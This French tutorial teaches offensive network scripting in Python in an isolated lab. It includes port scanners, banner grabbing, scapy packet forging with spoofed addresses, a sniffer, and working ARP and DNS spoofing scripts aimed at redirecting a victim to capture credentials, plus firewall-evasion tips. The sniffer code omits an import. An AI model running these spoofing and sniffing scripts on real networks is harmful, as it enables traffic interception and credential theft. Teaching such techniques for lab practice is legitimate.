Lecture : 14 minutes · Niveau : intermédiaire · Mise à jour : avril 2026
⚠️ Disclaimer : Tous les scripts s’exécutent uniquement sur un lab isolé (votre propre réseau, VMs locales, plateformes d’entraînement). Tout scan, sniffing ou injection contre un réseau tiers sans autorisation écrite préalable est illégal.
Tutoriel pas-à-pas pour écrire des scripts réseau offensifs en Python : port scanner from scratch (socket → threading → asyncio), forge de paquets avec scapy, sniffer custom, ARP spoofing en lab, DNS spoofing local. Tout est testé sur Kali Linux + un lab VirtualBox isolé (réseau Host-Only 192.168.56.0/24).
Pourquoi écrire ses propres scripts réseau quand nmap existe ? Plusieurs raisons : (1) comprendre profondément ce que les outils standards font sous le capot — un pentester qui ne sait pas ce qu’envoie nmap ne sait pas ce qu’il fait, (2) personnaliser pour des cibles atypiques (protocole custom, format de réponse non standard, contournement d’IDS qui détecte la signature nmap), (3) intégrer dans des workflows automatisés où nmap CLI est trop lourd, (4) apprendre la mécanique réseau pour mieux la défendre côté blue team. Construire un mini-nmap en Python est un exercice formateur indépendamment de l’usage en mission.
Du basique au sophistiqué. Le port scanner socket basique de la section 2 fait 50 ports/seconde. Avec threading, 5000/sec. Avec asyncio, 50 000/sec. Avec scapy SYN scan, plus furtif. Cette progression illustre l’idée centrale : la même tâche peut être implémentée avec des compromis très différents performance/furtivité/lisibilité, et le pentester choisit selon le contexte de mission.
Voir aussi → Python pour pentesting : guide complet, Python pentesting automatisation OSINT recon, Python pentesting exploitation et payloads.
Sommaire
- Setup lab isolé
- Port scanner avec socket (basique)
- Port scanner threading (×100 plus rapide)
- Port scanner asyncio (×1000)
- Banner grabbing
- Scapy : forge de paquets
- Sniffer custom avec scapy
- ARP spoofing en lab
- DNS spoofing local
- TCP SYN scan custom
- FAQ
1. Setup lab isolé
[Kali (attaquant) 192.168.56.10] ─── lab isolé ───
[Metasploitable 2 192.168.56.20] réseau Host-Only
[Windows 10 VM 192.168.56.30]
# Sur Kali, env Python
python3 -m venv ~/venvs/netoffense
source ~/venvs/netoffense/bin/activate
pip install scapy
sudo apt install -y python3-dev libpcap-dev # pour scapy
⚠️ scapy nécessite root pour les paquets bruts. Toujours tester en lab.
2. Port scanner avec socket (basique)
# scan_basic.py
import socket
import sys
def scan_port(host, port, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
s.connect((host, port))
return True
except (socket.timeout, ConnectionRefusedError, OSError):
return False
finally:
s.close()
if __name__ == "__main__":
host = sys.argv[1]
ports = range(1, 1025)
open_ports = []
for p in ports:
if scan_port(host, p):
print(f" [+] {p}/tcp open")
open_ports.append(p)
print(f"\n[*] {len(open_ports)} open ports")
sudo python3 scan_basic.py 192.168.56.20
Sortie :
[+] 21/tcp open
[+] 22/tcp open
[+] 80/tcp open
[+] 445/tcp open
[*] 4 open ports
Vitesse : ~1 port/s avec timeout 1s. Inacceptable pour 65535 ports.
3. Port scanner threading (×100 plus rapide)
# scan_threaded.py
import socket
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
def scan(host, port, timeout=1.0):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((host, port))
return port
except Exception:
return None
def scan_range(host, ports, max_workers=200):
open_ports = []
with ThreadPoolExecutor(max_workers=max_workers) as ex:
futures = {ex.submit(scan, host, p): p for p in ports}
for f in as_completed(futures):
r = f.result()
if r:
open_ports.append(r)
print(f" [+] {r}/tcp open")
return sorted(open_ports)
if __name__ == "__main__":
host = sys.argv[1]
ports = range(1, 65536)
print(f"[*] Scanning {host}, ports 1-65535")
open_ports = scan_range(host, ports)
print(f"\n[*] Total: {len(open_ports)} open")
Vitesse : ~5-10 sec pour 1-1024 ports avec 200 threads. Limite : GIL ne pose pas de problème ici car attente I/O domine.
4. Port scanner asyncio (×1000)
# scan_async.py
import asyncio
import sys
async def scan(host, port, sem, timeout=1.0):
async with sem:
try:
r, w = await asyncio.wait_for(
asyncio.open_connection(host, port),
timeout=timeout)
w.close()
await w.wait_closed()
return port
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return None
async def main(host, ports, max_concurrent=1000):
sem = asyncio.Semaphore(max_concurrent)
tasks = [scan(host, p, sem) for p in ports]
results = await asyncio.gather(*tasks)
return sorted(p for p in results if p)
if __name__ == "__main__":
host = sys.argv[1]
ports = range(1, 65536)
print(f"[*] Async scan {host}")
open_ports = asyncio.run(main(host, ports))
print(f"[*] Open: {open_ports}")
Vitesse : ~30 sec pour 65535 ports avec 1000 connexions simultanées. Performance comparable à un nmap léger.
5. Banner grabbing
# banner.py
import socket
def grab_banner(host, port, timeout=2.0):
s = socket.socket()
s.settimeout(timeout)
try:
s.connect((host, port))
# Pour les services qui parlent en premier (FTP, SSH, SMTP)
banner = s.recv(1024).decode(errors='ignore').strip()
if banner:
return banner
# Sinon envoyer une requête HTTP basique
s.send(b"GET / HTTP/1.0\r\n\r\n")
banner = s.recv(1024).decode(errors='ignore').strip()
return banner.split('\n')[0]
except Exception:
return None
finally:
s.close()
for port in [21, 22, 80, 443]:
b = grab_banner("192.168.56.20", port)
print(f"{port}: {b}")
Sortie type :
21: 220 (vsFTPd 2.3.4)
22: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
80: HTTP/1.1 200 OK
443: None
→ Identification immédiate des services et versions.
6. Scapy : forge de paquets
scapy permet de construire et envoyer n’importe quel paquet réseau.
# scapy_basics.py
from scapy.all import IP, TCP, UDP, ICMP, send, sr1
# 1. Ping ICMP custom
pkt = IP(dst="192.168.56.20") / ICMP()
reply = sr1(pkt, timeout=2, verbose=False)
if reply:
print(f"Host up: {reply.src}")
# 2. Paquet TCP SYN sur port 80
syn = IP(dst="192.168.56.20") / TCP(dport=80, flags="S")
ans = sr1(syn, timeout=2, verbose=False)
if ans and ans[TCP].flags & 0x12: # SYN-ACK
print("Port 80 OPEN")
elif ans and ans[TCP].flags & 0x14: # RST-ACK
print("Port 80 CLOSED")
# 3. Paquet UDP DNS
from scapy.all import DNS, DNSQR
dns_query = IP(dst="8.8.8.8") / UDP(dport=53) / \
DNS(rd=1, qd=DNSQR(qname="exemple.com"))
reply = sr1(dns_query, timeout=2, verbose=False)
if reply:
print(reply[DNS].an.rdata)
Lancer :
sudo python3 scapy_basics.py
Construction paquet personnalisé :
from scapy.all import Ether, IP, TCP, sendp
# Paquet Ethernet brut avec MAC source spoof
pkt = Ether(src="aa:bb:cc:dd:ee:ff", dst="ff:ff:ff:ff:ff:ff") / \
IP(src="10.0.0.99", dst="192.168.56.20") / \
TCP(sport=12345, dport=80, flags="S")
sendp(pkt, iface="eth0", count=3)
⚠️ Le spoofing de source IP n’est généralement utile qu’en lab. La plupart des routeurs filtrent (BCP38).
7. Sniffer custom avec scapy
# sniffer.py
from scapy.all import sniff, IP, TCP, UDP, DNS
def packet_callback(pkt):
if IP in pkt:
ip = pkt[IP]
if TCP in pkt:
tcp = pkt[TCP]
print(f"TCP {ip.src}:{tcp.sport} → {ip.dst}:{tcp.dport}")
# Détecter trafic HTTP non chiffré
if tcp.dport == 80 and pkt.haslayer(Raw):
payload = bytes(pkt[Raw]).decode(errors='ignore')
if "GET /" in payload or "POST /" in payload:
print(f" HTTP : {payload.split(chr(10))[0]}")
elif UDP in pkt:
udp = pkt[UDP]
if udp.dport == 53 and DNS in pkt:
q = pkt[DNS].qd.qname.decode()
print(f"DNS query: {q}")
sniff(iface="eth0", prn=packet_callback, store=False, count=100)
Filtres BPF (plus efficace) :
sniff(iface="eth0", filter="tcp port 80", prn=callback, count=50)
sniff(iface="eth0", filter="port 53", prn=callback)
sniff(iface="eth0", filter="host 192.168.56.20")
⚠️ Sniffing un réseau dont vous n’êtes pas admin = illégal. Réservé à votre propre lab.
8. ARP spoofing en lab
ARP spoofing redirige le trafic d’une victime via votre machine.
# arp_spoof.py
from scapy.all import ARP, Ether, send, sniff
import time
import sys
def get_mac(ip):
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
ans = sniff(filter=f"arp host {ip}", count=1, timeout=2,
started_callback=lambda: send(pkt, verbose=False))
if ans:
return ans[0][ARP].hwsrc
return None
def spoof(target_ip, gateway_ip):
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
while True:
# Dire à la victime que vous êtes la gateway
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip),
verbose=False)
# Dire à la gateway que vous êtes la victime
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip),
verbose=False)
time.sleep(2)
def restore(target_ip, gateway_ip):
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac), count=4, verbose=False)
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip, hwsrc=target_mac), count=4, verbose=False)
if __name__ == "__main__":
try:
# Activer IP forwarding sur Kali
# sudo sysctl -w net.ipv4.ip_forward=1
spoof("192.168.56.30", "192.168.56.1")
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables")
restore("192.168.56.30", "192.168.56.1")
# Activer IP forwarding pour ne pas couper le trafic victime
sudo sysctl -w net.ipv4.ip_forward=1
# Lancer le spoof
sudo python3 arp_spoof.py
⚠️ Lab uniquement. Ne jamais déployer sur un réseau tiers.
9. DNS spoofing local
Combinaison ARP spoof + DNS spoof = redirection DNS de la victime.
# dns_spoof.py
from scapy.all import sniff, send, IP, UDP, DNS, DNSQR, DNSRR
DOMAIN_TO_FAKE = "exemple.com."
FAKE_IP = "192.168.56.10" # IP de l'attaquant
def callback(pkt):
if pkt.haslayer(DNSQR) and pkt[DNS].qr == 0:
if pkt[DNSQR].qname.decode() == DOMAIN_TO_FAKE:
spoofed = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
UDP(dport=pkt[UDP].sport, sport=53) / \
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1,
an=DNSRR(rrname=DOMAIN_TO_FAKE, ttl=300,
rdata=FAKE_IP))
send(spoofed, verbose=False)
print(f" [!] Spoofed DNS for {DOMAIN_TO_FAKE} → {FAKE_IP}")
sniff(iface="eth0", filter="udp port 53", prn=callback, store=False)
Combinaison ARP+DNS spoof + serveur HTTP local = redirection victime vers une page custom (capture credentials, démonstration impact). À ne faire qu’en lab.
10. TCP SYN scan custom
Scan furtif (semi-open) qui n’établit pas la connexion complète.
# syn_scan.py
from scapy.all import IP, TCP, sr1, conf
import sys
conf.verb = 0 # Silencieux
def syn_scan(host, port):
pkt = IP(dst=host) / TCP(sport=40000, dport=port, flags="S")
resp = sr1(pkt, timeout=1)
if not resp:
return "filtered/no response"
if resp.haslayer(TCP):
flags = resp[TCP].flags
if flags & 0x12: # SYN-ACK
# Envoyer RST pour ne pas compléter la 3-way
rst = IP(dst=host) / TCP(sport=40000, dport=port, flags="R")
sr1(rst, timeout=1)
return "OPEN"
elif flags & 0x14: # RST-ACK
return "CLOSED"
return "unknown"
if __name__ == "__main__":
host = sys.argv[1]
for p in [21, 22, 80, 443, 445, 3306, 8080]:
print(f" {p}/tcp : {syn_scan(host, p)}")
sudo python3 syn_scan.py 192.168.56.20
Sortie :
21/tcp : OPEN
22/tcp : OPEN
80/tcp : OPEN
443/tcp : CLOSED
445/tcp : OPEN
3306/tcp : OPEN
8080/tcp : CLOSED
Avantage SYN scan : plus furtif (pas de log applicatif TCP-complet), plus rapide (pas d’ack final). Mais : nécessite root, détectable par IDS modernes.
FAQ
Pourquoi mes scripts scapy nécessitent root ?
Les paquets bruts (raw sockets) demandent privilèges CAP_NET_RAW sous Linux. Solution sans sudo : sudo setcap cap_net_raw+ep $(which python3) mais expose tous les scripts Python à ce privilège — déconseillé. Préférer venv root dédié.
Mon scan asyncio crash avec « Too many open files » — comment résoudre ?
ulimit OS bloque. Augmenter : ulimit -n 4096 (temporaire) ou ajouter dans /etc/security/limits.conf : * soft nofile 65535. Ne pas dépasser 65535 sans raison — gaspillage RAM.
Comment tester sans risquer un vrai réseau ?
VirtualBox / VMware avec réseau « Host-Only » totalement isolé. Metasploitable 2/3, GOAD, OWASP Juice Shop comme cibles. Plateformes : HackTheBox, TryHackMe avec VPN dédié.
Le sniffing fonctionne-t-il sur Wi-Fi ?
Oui en mode monitor (carte Wi-Fi compatible : Atheros, Ralink, Realtek certaines). airmon-ng start wlan0 puis scapy avec iface=wlan0mon. Sur Wi-Fi WPA/WPA2 chiffré, vous voyez les beacons mais le payload est chiffré. Désencryption possible avec la PSK et airdecap-ng post-capture.
scapy vs raw socket — quand utiliser quoi ?
scapy pour la flexibilité (forge couches multiples, parsing automatique). socket pour la performance pure (scanners haut débit, services réseau). Pour 95% des cas pentest : scapy gagne en productivité.
Comment contourner les firewalls de ports ?
Plusieurs techniques : fragmentation IP (-f nmap), source-routing (rare), tunneling (DNS, ICMP, HTTPS). En Python : scapy permet de construire ces paquets manuellement. Toujours documenter dans le RoE car peut être considéré comme tentative de contournement de sécurité.
Asyncio est-il toujours plus rapide que threading ?
Pas systématiquement. Asyncio gagne sur du I/O massif concurrent (1000+ connexions). Threading reste compétitif jusqu’à quelques centaines. Au-delà, asyncio domine. Multiprocessing utile pour CPU-bound (peu fréquent en réseau).
Comment journaliser proprement les résultats ?
logging standard avec niveaux et timestamp. Format JSON pour parsing ultérieur. Toujours timestamper en UTC. Conserver les outputs de chaque session pour le rapport final mission.
import logging, json
logging.basicConfig(level=logging.INFO,
format='%(asctime)sZ [%(levelname)s] %(message)s',
datefmt='%Y-%m-%dT%H:%M:%S')
Articles liés (cluster Python pentesting)
- 👉 Python pour pentesting : guide complet
- 👉 Python pentesting automatisation OSINT recon
- 👉 Python pentesting exploitation et payloads
Voir aussi : Outils essentiels du pentesting, Pentesting éthique pour PME.
Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.